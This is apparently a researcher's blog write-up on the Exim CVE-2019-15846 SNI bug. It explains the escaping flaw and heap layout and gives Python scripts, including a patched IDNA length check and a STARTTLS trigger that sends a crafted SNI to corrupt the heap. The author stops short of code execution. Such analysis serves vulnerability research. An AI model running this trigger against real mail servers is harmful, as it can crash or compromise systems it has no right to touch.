prsecurity.org

Looking into Exim CVE-2019–15846

Exim published some technical details about the bug, along with exploitability confirmation from Qualys on project’s git. From reading the docs we know:

Official patch added:

if (ch == ‘\0’) return **pp;

to int string_interpret_escape(const uschar **pp) in src/src/string.c.

string_interpret_escape is being called from string_unprinting which in turn is called by deliver_message from main.

SNI is defined in RFC 6066 and looks like this:

struct {
    NameType name_type;
    select (name_type) {
        case host_name: HostName;
    } name;
} ServerName;

You can see the extension in Wireshark:

To start TLS in SMTP, you need to issue STARTTLS if the server supports it. Basically the flow is EHLO -> STARTTLS -> Do a handshake -> Encrypt the rest.

In Python this looks like that:

import socket
import struct
import ssl

HOST = '165.22.130.118'
PORT = 587

context = ssl._create_unverified_context()
context.options |= ssl.PROTOCOL_TLSv1_2 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_COMPRESSION
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
	 s.connect((HOST, PORT))
	 print(s.recv(1024))
	 s.send(b'EHLO [127.0.0.1]\r\n')
	 print(s.recv(1024))
	 s.send(b'STARTTLS\r\n')
	 print(s.recv(1024))
	 with context.wrap_socket(s, server_hostname="my sni") as conn:
	  # Alloc and free
	  conn.send(b"EHLO [127.0.0.1]\r\n")
	  print(conn.recv(1024))
	  conn.send(b'QUIT\r\n')

You can set SNI with server_hostname param, the only problem is that it is limited to 64 bytes. To bypass you need to patch/reimplement Codec->encode() function in python/encodings/idna.py:

labels = result.split(b'.')
for label in labels[:-1]:
    if not (0 < len(label) < 10000):
        raise UnicodeError("label empty or too long")
    if len(labels[-1]) >= 10000:
        raise UnicodeError("label too long")
    return result, len(input)

So now we can control the SNI. To trigger the bug, we need to reach string_unprinting in string.c. According to the Qualys analysis, it can be done by writing a message into the spool and then waiting for it to be processed on delivery:

Submitting an email to pool is enough to do that. The bug itself is in the escaping/unescaping logic.

Effectively the loop above in string_unprinting will look for \, and unescape them. If we submit a string that ends with \, the \0 will be processed and unescaped as NULL. This will cause the *p to jump over null byte and continue reading the string until it hits another null.

The bug is easily turned into OOB write, because if the next byte after null is valid data, exim will do this:

off = Ustrlen(p); // bytes from null till null (effectively the length of OOB read)
memcpy(q, p, off); // copy them to our buffer

Exim is using its own memory management model to deal with small allocations. In their model, they will allocate a bunch of slots inside of the page heap. That means, our q and p are neighbors, with source is being followed by destination. So we can double copy our buffer.

Before overflow:

After overflow:

The way Exim’s store_get works is that it rounds up the allocation to a multiply of alignment, and to get two blocks being filled to the brim with our data, we need to send a string whose length is a multiple of alignment.

string_unprinting adds another one to the length, so we need to subtract one from the payload.

Final trigger code (gist):

import socket
import struct
import ssl
HOST = '127.0.0.1'
PORT = 587
context = ssl._create_unverified_context()
context.options |= ssl.PROTOCOL_TLSv1_2 | ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_COMPRESSION
# payload must have length multiple of target system alignment - 1
payload = ""
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"
payload += "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
payload += "2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3"
payload += "Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai"
payload += "\\"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.connect((HOST, PORT))
 print(s.recv(1024))
 s.send(b'EHLO [127.0.0.1]\r\n')
 print(s.recv(1024))
 s.send(b'STARTTLS\r\n')
 print(s.recv(1024))
 with context.wrap_socket(s, server_hostname=payload) as conn:
  # This will persist in the spool
  conn.send(b"EHLO " + b"E"*0x3600 + b"\r\n")
  print(conn.recv(1024))
conn.send(b'MAIL FROM: root@example.com\r\n')
  conn.send(b'RCPT TO: root@example.com\r\n')
  conn.send(b'DATA\r\n')
  conn.send(b'SUBJECT: root\r\n')
  conn.send(b'blabla\r\n')
  conn.send(b'\r\n')
  conn.send(b'.\r\n')
  conn.send(b'\r\n')
  conn.send(b'QUIT\r\n')

Now this is where I got stuck. According to Qualys,

Next, we use this heap overflow to overwrite the header of a free malloc chunk, and increase its size to make it overlap with other, already-allocated malloc chunks.

But my overwrite happens inside of a 32kb chunk, so its nowhere near the chunk boundaries.

Because the header is being parsed form a file, all the memory organization methods described by Meh at DevCore aren’t applicable.

At this point I don’t want to invest time into figuring out the memory allocations, but I may come back to it later. Effectively, we have all the header options described at exim.org at our disposal.

Aside:

Short note on why we end up in the middle of a malloc chunk. As mentioned before, Exim logic is to malloc a chunk of STORE_BLOCK_SIZE (8192) or big enough for requested data. When the header is being parsed with spool_read_header, a multiple calls to string_sprintf are made. string_sprintf requests a chunk of STRING_SPRINTF_BUFFER_SIZE, which is set in config.h.defaults:

#define STRING_SPRINTF_BUFFER_SIZE (8192 * 4)

That means by the time we reach our sni bug, we will already be in a 32784 chunk. You can actually see this behavior in Exim logs: